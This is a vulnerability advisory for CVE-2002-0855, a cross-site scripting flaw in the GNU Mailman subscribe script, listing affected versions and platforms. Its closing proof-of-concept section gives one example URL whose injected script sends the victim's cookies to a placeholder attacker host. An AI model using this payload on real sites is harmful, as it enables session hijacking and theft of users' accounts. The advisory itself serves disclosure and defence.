BID:5298

GNU Mailman Subscribe Cross-Site Scripting Vulnerability

Info

GNU Mailman Subscribe Cross-Site Scripting Vulnerability

Bugtraq ID:	5298
Class:	Input Validation Error
CVE:	CVE-2002-0855
Remote:	Yes
Local:	No
Published:	Jul 24 2002 12:00AM
Updated:	Jul 11 2009 02:56PM
Credit:	Discovery of this issue is credited to office <[email protected]>.
Vulnerable:	GNU Mailman 2.0.11 + Debian Linux 3.0 GNU Mailman 2.0.10 GNU Mailman 2.0.9 GNU Mailman 2.0.8 + Redhat Linux 7.3 i386 + Redhat Linux 7.2 ia64 + Redhat Linux 7.2 i386 - Redhat PowerTools 7.1 - Redhat PowerTools 7.0 GNU Mailman 2.0.7 GNU Mailman 2.0.6 GNU Mailman 2.0.5 - Debian Linux 2.2 sparc - Debian Linux 2.2 powerpc - Debian Linux 2.2 arm - Debian Linux 2.2 alpha - Debian Linux 2.2 68k - Debian Linux 2.2 - FreeBSD FreeBSD 4.3 - HP HP-UX 11.11 - HP HP-UX 11.0 - HP HP-UX 10.20 - Mandriva Linux Mandrake 8.0 - Mandriva Linux Mandrake 7.2 - Mandriva Linux Mandrake 7.1 - NetBSD NetBSD 1.5.2 - NetBSD NetBSD 1.5.1 - OpenBSD OpenBSD 2.9 - OpenBSD OpenBSD 2.8 - OpenBSD OpenBSD 2.7 - Redhat Linux 7.1 - Redhat Linux 7.0 - Slackware Linux 8.0 - Slackware Linux 7.1 - Slackware Linux 7.0 - Sun Solaris 8_sparc - Sun Solaris 7.0 - Sun Solaris 2.6 - SuSE Linux 7.2 - SuSE Linux 7.1 - SuSE Linux 7.0 GNU Mailman 2.0.4 GNU Mailman 2.0.3 GNU Mailman 2.0.2 GNU Mailman 2.0.1 GNU Mailman 2.0

Not Vulnerable:	GNU Mailman 2.0.12

Discussion

GNU Mailman Subscribe Cross-Site Scripting Vulnerability

GNU Mailman is prone to a cross-site scripting vulnerability. Arbitrary HTML and script code are not sanitized from the URI parameters of mailing list subscribe scripts.

An attacker may exploit this issue by creating a malicious link containing arbitrary script code and enticing a web user to visit the link.

Exploit / POC

GNU Mailman Subscribe Cross-Site Scripting Vulnerability

The following example was provided:

http://target/mailman/subscribe/ml-name?info=<script>document.location%3D"http://attackerhost/attackerscript.cgi?"%2Bdocument.cookie;</script>